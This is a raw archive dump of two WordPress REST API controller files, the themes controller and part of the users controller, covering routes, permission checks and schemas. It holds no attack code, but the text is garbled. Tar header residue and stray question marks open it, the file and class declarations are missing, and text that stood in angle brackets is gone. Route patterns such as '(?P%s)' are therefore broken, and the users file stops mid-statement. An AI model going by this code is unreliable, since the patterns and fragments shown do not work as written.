?????????????? class-wp-rest-themes-controller.php000064400000055646152506367270013462 0ustar00//` or `/themes//`. * Excludes invalid directory name characters: `/:<>*?"|`. */ const PATTERN = '[^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?'; /** * Constructor. * * @since 5.0.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'themes'; } /** * Registers the routes for themes. * * @since 5.0.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/(?P%s)', $this->rest_base, self::PATTERN ), array( 'args' => array( 'stylesheet' => array( 'description' => __( "The theme's stylesheet. This uniquely identifies the theme." ), 'type' => 'string', 'sanitize_callback' => array( $this, '_sanitize_stylesheet_callback' ), ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Sanitize the stylesheet to decode endpoint. * * @since 5.9.0 * * @param string $stylesheet The stylesheet name. * @return string Sanitized stylesheet. */ public function _sanitize_stylesheet_callback( $stylesheet ) { return urldecode( $stylesheet ); } /** * Checks if a given request has access to read the theme. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object. */ public function get_items_permissions_check( $request ) { if ( current_user_can( 'switch_themes' ) || current_user_can( 'manage_network_themes' ) ) { return true; } $registered = $this->get_collection_params(); if ( isset( $registered['status'], $request['status'] ) && is_array( $request['status'] ) && array( 'active' ) === $request['status'] ) { return $this->check_read_active_theme_permission(); } return new WP_Error( 'rest_cannot_view_themes', __( 'Sorry, you are not allowed to view themes.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Checks if a given request has access to read the theme. * * @since 5.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object. */ public function get_item_permissions_check( $request ) { if ( current_user_can( 'switch_themes' ) || current_user_can( 'manage_network_themes' ) ) { return true; } $wp_theme = wp_get_theme( $request['stylesheet'] ); $current_theme = wp_get_theme(); if ( $this->is_same_theme( $wp_theme, $current_theme ) ) { return $this->check_read_active_theme_permission(); } return new WP_Error( 'rest_cannot_view_themes', __( 'Sorry, you are not allowed to view themes.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Checks if a theme can be read. * * @since 5.7.0 * * @return true|WP_Error True if the theme can be read, WP_Error object otherwise. */ protected function check_read_active_theme_permission() { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view_active_theme', __( 'Sorry, you are not allowed to view the active theme.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Retrieves a single theme. * * @since 5.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $wp_theme = wp_get_theme( $request['stylesheet'] ); if ( ! $wp_theme->exists() ) { return new WP_Error( 'rest_theme_not_found', __( 'Theme not found.' ), array( 'status' => 404 ) ); } $data = $this->prepare_item_for_response( $wp_theme, $request ); return rest_ensure_response( $data ); } /** * Retrieves a collection of themes. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $themes = array(); $current_theme = wp_get_theme(); $status = $request['status']; if ( array( 'active' ) === $status ) { $prepared = $this->prepare_item_for_response( $current_theme, $request ); $themes[] = $this->prepare_response_for_collection( $prepared ); } else { foreach ( wp_get_themes() as $theme ) { $theme_status = ( $this->is_same_theme( $theme, $current_theme ) ) ? 'active' : 'inactive'; if ( is_array( $status ) && ! in_array( $theme_status, $status, true ) ) { continue; } $prepared = $this->prepare_item_for_response( $theme, $request ); $themes[] = $this->prepare_response_for_collection( $prepared ); } } $response = rest_ensure_response( $themes ); $response->header( 'X-WP-Total', count( $themes ) ); $response->header( 'X-WP-TotalPages', 1 ); return $response; } /** * Prepares a single theme output for response. * * @since 5.0.0 * @since 5.9.0 Renamed `$theme` to `$item` to match parent class for PHP 8 named parameter support. * @since 6.6.0 Added `stylesheet_uri` and `template_uri` fields. * * @param WP_Theme $item Theme object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $theme = $item; $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'stylesheet', $fields ) ) { $data['stylesheet'] = $theme->get_stylesheet(); } if ( rest_is_field_included( 'template', $fields ) ) { /** * Use the get_template() method, not the 'Template' header, for finding the template. * The 'Template' header is only good for what was written in the style.css, while * get_template() takes into account where WordPress actually located the theme and * whether it is actually valid. */ $data['template'] = $theme->get_template(); } $plain_field_mappings = array( 'requires_php' => 'RequiresPHP', 'requires_wp' => 'RequiresWP', 'textdomain' => 'TextDomain', 'version' => 'Version', ); foreach ( $plain_field_mappings as $field => $header ) { if ( rest_is_field_included( $field, $fields ) ) { $data[ $field ] = $theme->get( $header ); } } if ( rest_is_field_included( 'screenshot', $fields ) ) { // Using $theme->get_screenshot() with no args to get absolute URL. $data['screenshot'] = $theme->get_screenshot() ? $theme->get_screenshot() : ''; } $rich_field_mappings = array( 'author' => 'Author', 'author_uri' => 'AuthorURI', 'description' => 'Description', 'name' => 'Name', 'tags' => 'Tags', 'theme_uri' => 'ThemeURI', ); foreach ( $rich_field_mappings as $field => $header ) { if ( rest_is_field_included( "{$field}.raw", $fields ) ) { $data[ $field ]['raw'] = $theme->display( $header, false, true ); } if ( rest_is_field_included( "{$field}.rendered", $fields ) ) { $data[ $field ]['rendered'] = $theme->display( $header ); } } $current_theme = wp_get_theme(); if ( rest_is_field_included( 'status', $fields ) ) { $data['status'] = ( $this->is_same_theme( $theme, $current_theme ) ) ? 'active' : 'inactive'; } if ( rest_is_field_included( 'theme_supports', $fields ) && $this->is_same_theme( $theme, $current_theme ) ) { foreach ( get_registered_theme_features() as $feature => $config ) { if ( ! is_array( $config['show_in_rest'] ) ) { continue; } $name = $config['show_in_rest']['name']; if ( ! rest_is_field_included( "theme_supports.{$name}", $fields ) ) { continue; } if ( ! current_theme_supports( $feature ) ) { $data['theme_supports'][ $name ] = $config['show_in_rest']['schema']['default']; continue; } $support = get_theme_support( $feature ); if ( isset( $config['show_in_rest']['prepare_callback'] ) ) { $prepare = $config['show_in_rest']['prepare_callback']; } else { $prepare = array( $this, 'prepare_theme_support' ); } $prepared = $prepare( $support, $config, $feature, $request ); if ( is_wp_error( $prepared ) ) { continue; } $data['theme_supports'][ $name ] = $prepared; } } if ( rest_is_field_included( 'is_block_theme', $fields ) ) { $data['is_block_theme'] = $theme->is_block_theme(); } if ( rest_is_field_included( 'stylesheet_uri', $fields ) ) { if ( $this->is_same_theme( $theme, $current_theme ) ) { $data['stylesheet_uri'] = get_stylesheet_directory_uri(); } else { $data['stylesheet_uri'] = $theme->get_stylesheet_directory_uri(); } } if ( rest_is_field_included( 'template_uri', $fields ) ) { if ( $this->is_same_theme( $theme, $current_theme ) ) { $data['template_uri'] = get_template_directory_uri(); } else { $data['template_uri'] = $theme->get_template_directory_uri(); } } if ( rest_is_field_included( 'default_template_types', $fields ) && $this->is_same_theme( $theme, $current_theme ) ) { $default_template_types = array(); foreach ( get_default_block_template_types() as $slug => $template_type ) { $template_type['slug'] = (string) $slug; $default_template_types[] = $template_type; } $data['default_template_types'] = $default_template_types; } if ( rest_is_field_included( 'default_template_part_areas', $fields ) && $this->is_same_theme( $theme, $current_theme ) ) { $data['default_template_part_areas'] = get_allowed_block_template_part_areas(); } $data = $this->add_additional_fields_to_object( $data, $request ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $theme ) ); } /** * Filters theme data returned from the REST API. * * @since 5.0.0 * * @param WP_REST_Response $response The response object. * @param WP_Theme $theme Theme object used to create response. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_prepare_theme', $response, $theme, $request ); } /** * Prepares links for the request. * * @since 5.7.0 * * @param WP_Theme $theme Theme data. * @return array Links for the given block type. */ protected function prepare_links( $theme ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $theme->get_stylesheet() ) ), ), 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), ); if ( $this->is_same_theme( $theme, wp_get_theme() ) ) { // This creates a record for the active theme if not existent. $id = WP_Theme_JSON_Resolver::get_user_global_styles_post_id(); } else { $user_cpt = WP_Theme_JSON_Resolver::get_user_data_from_wp_global_styles( $theme ); $id = $user_cpt['ID'] ?? null; } if ( $id ) { $links['https://api.w.org/user-global-styles'] = array( 'href' => rest_url( 'wp/v2/global-styles/' . $id ), ); } if ( $theme->is_block_theme() && $this->is_same_theme( $theme, wp_get_theme() ) ) { $links['https://api.w.org/export-theme'] = array( 'href' => rest_url( 'wp-block-editor/v1/export' ), 'targetHints' => array( 'allow' => current_user_can( 'export' ) ? array( 'GET' ) : array(), ), ); } return $links; } /** * Helper function to compare two themes. * * @since 5.7.0 * * @param WP_Theme $theme_a First theme to compare. * @param WP_Theme $theme_b Second theme to compare. * @return bool */ protected function is_same_theme( $theme_a, $theme_b ) { return $theme_a->get_stylesheet() === $theme_b->get_stylesheet(); } /** * Prepares the theme support value for inclusion in the REST API response. * * @since 5.5.0 * * @param mixed $support The raw value from get_theme_support(). * @param array $args The feature's registration args. * @param string $feature The feature name. * @param WP_REST_Request $request The request object. * @return mixed The prepared support value. */ protected function prepare_theme_support( $support, $args, $feature, $request ) { $schema = $args['show_in_rest']['schema']; if ( 'boolean' === $schema['type'] ) { return true; } if ( is_array( $support ) && ! $args['variadic'] ) { $support = $support[0]; } return rest_sanitize_value_from_schema( $support, $schema ); } /** * Retrieves the theme's schema, conforming to JSON Schema. * * @since 5.0.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'theme', 'type' => 'object', 'properties' => array( 'stylesheet' => array( 'description' => __( 'The theme\'s stylesheet. This uniquely identifies the theme.' ), 'type' => 'string', 'readonly' => true, ), 'stylesheet_uri' => array( 'description' => __( 'The uri for the theme\'s stylesheet directory.' ), 'type' => 'string', 'format' => 'uri', 'readonly' => true, ), 'template' => array( 'description' => __( 'The theme\'s template. If this is a child theme, this refers to the parent theme, otherwise this is the same as the theme\'s stylesheet.' ), 'type' => 'string', 'readonly' => true, ), 'template_uri' => array( 'description' => __( 'The uri for the theme\'s template directory. If this is a child theme, this refers to the parent theme, otherwise this is the same as the theme\'s stylesheet directory.' ), 'type' => 'string', 'format' => 'uri', 'readonly' => true, ), 'author' => array( 'description' => __( 'The theme author.' ), 'type' => 'object', 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'The theme author\'s name, as found in the theme header.' ), 'type' => 'string', ), 'rendered' => array( 'description' => __( 'HTML for the theme author, transformed for display.' ), 'type' => 'string', ), ), ), 'author_uri' => array( 'description' => __( 'The website of the theme author.' ), 'type' => 'object', 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'The website of the theme author, as found in the theme header.' ), 'type' => 'string', 'format' => 'uri', ), 'rendered' => array( 'description' => __( 'The website of the theme author, transformed for display.' ), 'type' => 'string', 'format' => 'uri', ), ), ), 'description' => array( 'description' => __( 'A description of the theme.' ), 'type' => 'object', 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'The theme description, as found in the theme header.' ), 'type' => 'string', ), 'rendered' => array( 'description' => __( 'The theme description, transformed for display.' ), 'type' => 'string', ), ), ), 'is_block_theme' => array( 'description' => __( 'Whether the theme is a block-based theme.' ), 'type' => 'boolean', 'readonly' => true, ), 'name' => array( 'description' => __( 'The name of the theme.' ), 'type' => 'object', 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'The theme name, as found in the theme header.' ), 'type' => 'string', ), 'rendered' => array( 'description' => __( 'The theme name, transformed for display.' ), 'type' => 'string', ), ), ), 'requires_php' => array( 'description' => __( 'The minimum PHP version required for the theme to work.' ), 'type' => 'string', 'readonly' => true, ), 'requires_wp' => array( 'description' => __( 'The minimum WordPress version required for the theme to work.' ), 'type' => 'string', 'readonly' => true, ), 'screenshot' => array( 'description' => __( 'The theme\'s screenshot URL.' ), 'type' => 'string', 'format' => 'uri', 'readonly' => true, ), 'tags' => array( 'description' => __( 'Tags indicating styles and features of the theme.' ), 'type' => 'object', 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'The theme tags, as found in the theme header.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), ), 'rendered' => array( 'description' => __( 'The theme tags, transformed for display.' ), 'type' => 'string', ), ), ), 'textdomain' => array( 'description' => __( 'The theme\'s text domain.' ), 'type' => 'string', 'readonly' => true, ), 'theme_supports' => array( 'description' => __( 'Features supported by this theme.' ), 'type' => 'object', 'readonly' => true, 'properties' => array(), ), 'theme_uri' => array( 'description' => __( 'The URI of the theme\'s webpage.' ), 'type' => 'object', 'readonly' => true, 'properties' => array( 'raw' => array( 'description' => __( 'The URI of the theme\'s webpage, as found in the theme header.' ), 'type' => 'string', 'format' => 'uri', ), 'rendered' => array( 'description' => __( 'The URI of the theme\'s webpage, transformed for display.' ), 'type' => 'string', 'format' => 'uri', ), ), ), 'version' => array( 'description' => __( 'The theme\'s current version.' ), 'type' => 'string', 'readonly' => true, ), 'status' => array( 'description' => __( 'A named status for the theme.' ), 'type' => 'string', 'enum' => array( 'inactive', 'active' ), ), 'default_template_types' => array( 'description' => __( 'A list of default template types.' ), 'type' => 'array', 'readonly' => true, 'items' => array( 'type' => 'object', 'properties' => array( 'slug' => array( 'type' => 'string', ), 'title' => array( 'type' => 'string', ), 'description' => array( 'type' => 'string', ), ), ), ), 'default_template_part_areas' => array( 'description' => __( 'A list of allowed area values for template parts.' ), 'type' => 'array', 'readonly' => true, 'items' => array( 'type' => 'object', 'properties' => array( 'area' => array( 'type' => 'string', ), 'label' => array( 'type' => 'string', ), 'description' => array( 'type' => 'string', ), 'icon' => array( 'type' => 'string', ), 'area_tag' => array( 'type' => 'string', ), ), ), ), ), ); foreach ( get_registered_theme_features() as $feature => $config ) { if ( ! is_array( $config['show_in_rest'] ) ) { continue; } $name = $config['show_in_rest']['name']; $schema['properties']['theme_supports']['properties'][ $name ] = $config['show_in_rest']['schema']; } $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the search params for the themes collection. * * @since 5.0.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = array( 'status' => array( 'description' => __( 'Limit result set to themes assigned one or more statuses.' ), 'type' => 'array', 'items' => array( 'enum' => array( 'active', 'inactive' ), 'type' => 'string', ), ), ); /** * Filters REST API collection parameters for the themes controller. * * @since 5.0.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_themes_collection_params', $query_params ); } /** * Sanitizes and validates the list of theme status. * * @since 5.0.0 * @deprecated 5.7.0 * * @param string|array $statuses One or more theme statuses. * @param WP_REST_Request $request Full details about the request. * @param string $parameter Additional parameter to pass to validation. * @return array|WP_Error A list of valid statuses, otherwise WP_Error object. */ public function sanitize_theme_status( $statuses, $request, $parameter ) { _deprecated_function( __METHOD__, '5.7.0' ); $statuses = wp_parse_slug_list( $statuses ); foreach ( $statuses as $status ) { $result = rest_validate_request_arg( $status, $request, $parameter ); if ( is_wp_error( $result ) ) { return $result; } } return $statuses; } } class-wp-rest-users-controller.php000064400000141261152506367270013323 0ustar00 true ); /** * Constructor. * * @since 4.7.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'users'; $this->meta = new WP_REST_User_Meta_Fields(); } /** * Registers the routes for users. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\d]+)', array( 'args' => array( 'id' => array( 'description' => __( 'Unique identifier for the user.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Required to be true, as users do not support trashing.' ), ), 'reassign' => array( 'type' => 'integer', 'description' => __( 'Reassign the deleted user\'s posts and links to this user ID.' ), 'required' => true, 'sanitize_callback' => array( $this, 'check_reassign' ), ), ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/me', array( array( 'methods' => WP_REST_Server::READABLE, 'permission_callback' => '__return_true', 'callback' => array( $this, 'get_current_item' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_current_item' ), 'permission_callback' => array( $this, 'update_current_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_current_item' ), 'permission_callback' => array( $this, 'delete_current_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Required to be true, as users do not support trashing.' ), ), 'reassign' => array( 'type' => 'integer', 'description' => __( 'Reassign the deleted user\'s posts and links to this user ID.' ), 'required' => true, 'sanitize_callback' => array( $this, 'check_reassign' ), ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks for a valid value for the reassign parameter when deleting users. * * The value can be an integer, 'false', false, or ''. * * @since 4.7.0 * * @param int|bool $value The value passed to the reassign parameter. * @param WP_REST_Request $request Full details about the request. * @param string $param The parameter that is being sanitized. * @return int|bool|WP_Error */ public function check_reassign( $value, $request, $param ) { if ( is_numeric( $value ) ) { return $value; } if ( empty( $value ) || false === $value || 'false' === $value ) { return false; } return new WP_Error( 'rest_invalid_param', __( 'Invalid user parameter(s).' ), array( 'status' => 400 ) ); } /** * Permissions check for getting all users. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, otherwise WP_Error object. */ public function get_items_permissions_check( $request ) { // Check if roles is specified in GET request and if user can list users. if ( ! empty( $request['roles'] ) && ! current_user_can( 'list_users' ) ) { return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to filter users by role.' ), array( 'status' => rest_authorization_required_code() ) ); } // Check if capabilities is specified in GET request and if user can list users. if ( ! empty( $request['capabilities'] ) && ! current_user_can( 'list_users' ) ) { return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to filter users by capability.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit users.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( in_array( $request['orderby'], array( 'email', 'registered_date' ), true ) && ! current_user_can( 'list_users' ) ) { return new WP_Error( 'rest_forbidden_orderby', __( 'Sorry, you are not allowed to order users by this parameter.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( 'authors' === $request['who'] ) { $types = get_post_types( array( 'show_in_rest' => true ), 'objects' ); foreach ( $types as $type ) { if ( post_type_supports( $type->name, 'author' ) && current_user_can( $type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_forbidden_who', __( 'Sorry, you are not allowed to query users by this parameter.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves all users. * * @since 4.7.0 * @since 6.8.0 Added support for the search_columns query param. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { // Retrieve the list of registered collection query parameters. $registered = $this->get_collection_params(); /* * This array defines mappings between public API query parameters whose * values are accepted as-passed, and their internal WP_Query parameter * name equivalents (some are the same). Only values which are also * present in $registered will be set. */ $parameter_mappings = array( 'exclude' => 'exclude', 'include' => 'include', 'order' => 'order', 'per_page' => 'number', 'search' => 'search', 'roles' => 'role__in', 'capabilities' => 'capability__in', 'slug' => 'nicename__in', ); $prepared_args = array(); /* * For each known parameter which is both registered and present in the request, * set the parameter's value on the query $prepared_args. */ foreach ( $parameter_mappings as $api_param => $wp_param ) { if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) { $prepared_args[ $wp_param ] = $request[ $api_param ]; } } if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) { $prepared_args['offset'] = $request['offset']; } else { $prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number']; } if ( isset( $registered['orderby'] ) ) { $orderby_possibles = array( 'id' => 'ID', 'include' => 'include', 'name' => 'display_name', 'registered_date' => 'registered', 'slug' => 'user_nicename', 'include_slugs' => 'nicename__in', 'email' => 'user_email', 'url' => 'user_url', ); $prepared_args['orderby'] = $orderby_possibles[ $request['orderby'] ]; } if ( isset( $registered['who'] ) && ! empty( $request['who'] ) && 'authors' === $request['who'] ) { $prepared_args['who'] = 'authors'; } elseif ( ! current_user_can( 'list_users' ) ) { $prepared_args['has_published_posts'] = get_post_types( array( 'show_in_rest' => true ), 'names' ); } if ( ! empty( $request['has_published_posts'] ) ) { $prepared_args['has_published_posts'] = ( true === $request['has_published_posts'] ) ? get_post_types( array( 'show_in_rest' => true ), 'names' ) : (array) $request['has_published_posts']; } if ( ! empty( $prepared_args['search'] ) ) { if ( ! current_user_can( 'list_users' ) ) { $prepared_args['search_columns'] = array( 'ID', 'user_login', 'user_nicename', 'display_name' ); } $search_columns = $request->get_param( 'search_columns' ); $valid_columns = $prepared_args['search_columns'] ?? array( 'ID', 'user_login', 'user_nicename', 'user_email', 'display_name' ); $search_columns_mapping = array( 'id' => 'ID', 'username' => 'user_login', 'slug' => 'user_nicename', 'email' => 'user_email', 'name' => 'display_name', ); $search_columns = array_map( static function ( $column ) use ( $search_columns_mapping ) { return $search_columns_mapping[ $column ]; }, $search_columns ); $search_columns = array_intersect( $search_columns, $valid_columns ); if ( ! empty( $search_columns ) ) { $prepared_args['search_columns'] = $search_columns; } $prepared_args['search'] = '*' . $prepared_args['search'] . '*'; } $is_head_request = $request->is_method( 'HEAD' ); if ( $is_head_request ) { // Force the 'fields' argument. For HEAD requests, only user IDs are required. $prepared_args['fields'] = 'id'; } /** * Filters WP_User_Query arguments when querying users via the REST API. * * @link https://developer.wordpress.org/reference/classes/wp_user_query/ * * @since 4.7.0 * * @param array $prepared_args Array of arguments for WP_User_Query. * @param WP_REST_Request $request The REST API request. */ $prepared_args = apply_filters( 'rest_user_query', $prepared_args, $request ); $query = new WP_User_Query( $prepared_args ); if ( ! $is_head_request ) { $users = array(); foreach ( $query->get_results() as $user ) { if ( 'edit' === $request['context'] && ! current_user_can( 'edit_user', $user->ID ) ) { continue; } $data = $this->prepare_item_for_response( $user, $request ); $users[] = $this->prepare_response_for_collection( $data ); } } $response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $users ); // Store pagination values for headers then unset for count query. $per_page = (int) $prepared_args['number']; $page = (int) ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 ); $prepared_args['fields'] = 'ID'; $total_users = $query->get_total(); if ( $total_users < 1 ) { // Out-of-bounds, run the query without pagination/offset to get the total count. unset( $prepared_args['number'], $prepared_args['offset'] ); $prepared_args['number'] = 1; $prepared_args['fields'] = 'ID'; $count_query = new WP_User_Query( $prepared_args ); $total_users = $count_query->get_total(); } $response->header( 'X-WP-Total', (int) $total_users ); $max_pages = (int) ceil( $total_users / $per_page ); $response->header( 'X-WP-TotalPages', $max_pages ); $base = add_query_arg( urlencode_deep( $request->get_query_params() ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) ); if ( $page > 1 ) { $prev_page = $page - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $page ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Get the user, if the ID is valid. * * @since 4.7.2 * * @param int $id Supplied ID. * @return WP_User|WP_Error True if ID is valid, WP_Error otherwise. */ protected function get_user( $id ) { $error = new WP_Error( 'rest_user_invalid_id', __( 'Invalid user ID.' ), array( 'status' => 404 ) ); if ( (int) $id <= 0 ) { return $error; } $user = get_userdata( (int) $id ); if ( empty( $user ) || ! $user->exists() ) { return $error; } if ( is_multisite() && ! is_user_member_of_blog( $user->ID ) ) { return $error; } return $user; } /** * Checks if a given request has access to read a user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object. */ public function get_item_permissions_check( $request ) { $user = $this->get_user( $request['id'] ); if ( is_wp_error( $user ) ) { return $user; } $types = get_post_types( array( 'show_in_rest' => true ), 'names' ); if ( get_current_user_id() === $user->ID ) { return true; } if ( 'edit' === $request['context'] && ! current_user_can( 'edit_user', $user->ID ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit this user.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! current_user_can( 'edit_user', $user->ID ) && ! current_user_can( 'list_users' ) && ! count_user_posts( $user->ID, $types ) ) { return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to list users.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves a single user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $user = $this->get_user( $request['id'] ); if ( is_wp_error( $user ) ) { return $user; } $user = $this->prepare_item_for_response( $user, $request ); $response = rest_ensure_response( $user ); return $response; } /** * Retrieves the current user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_current_item( $request ) { $current_user_id = get_current_user_id(); if ( empty( $current_user_id ) ) { return new WP_Error( 'rest_not_logged_in', __( 'You are not currently logged in.' ), array( 'status' => 401 ) ); } $user = wp_get_current_user(); $response = $this->prepare_item_for_response( $user, $request ); $response = rest_ensure_response( $response ); return $response; } /** * Checks if a given request has access create users. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { if ( ! current_user_can( 'create_users' ) ) { return new WP_Error( 'rest_cannot_create_user', __( 'Sorry, you are not allowed to create new users.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Creates a single user. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { if ( ! empty( $request['id'] ) ) { return new WP_Error( 'rest_user_exists', __( 'Cannot create existing user.' ), array( 'status' => 400 ) ); } $schema = $this->get_item_schema(); if ( ! empty( $request['roles'] ) && ! empty( $schema['properties']['roles'] ) ) { $check_permission = $this->check_role_update( $request['id'], $request['roles'] ); if ( is_wp_error( $check_permission ) ) { return $check_permission; } } $user = $this->prepare_item_for_database( $request ); if ( is_multisite() ) { $ret = wpmu_validate_user_signup( $user->user_login, $user->user_email ); if ( is_wp_error( $ret['errors'] ) && $ret['errors']->has_errors() ) { $error = new WP_Error( 'rest_invalid_param', __( 'Invalid user parameter(s).' ), array( 'status' => 400 ) ); foreach ( $ret['errors']->errors as $code => $messages ) { foreach ( $messages as $message ) { $error->add( $code, $message ); } $error_data = $error->get_error_data( $code ); if ( $error_data ) { $error->add_data( $error_data, $code ); } } return $error; } } if ( is_multisite() ) { $user_id = wpmu_create_user( $user->user_login, $user->user_pass, $user->user_email ); if ( ! $user_id ) { return new WP_Error( 'rest_user_create', __( 'Error creating new user.' ), array( 'status' => 500 ) ); } $user->ID = $user_id; $user_id = wp_update_user( wp_slash( (array) $user ) ); if ( is_wp_error( $user_id ) ) { return $user_id; } $result = add_user_to_blog( get_site()->id, $user_id, '' ); if 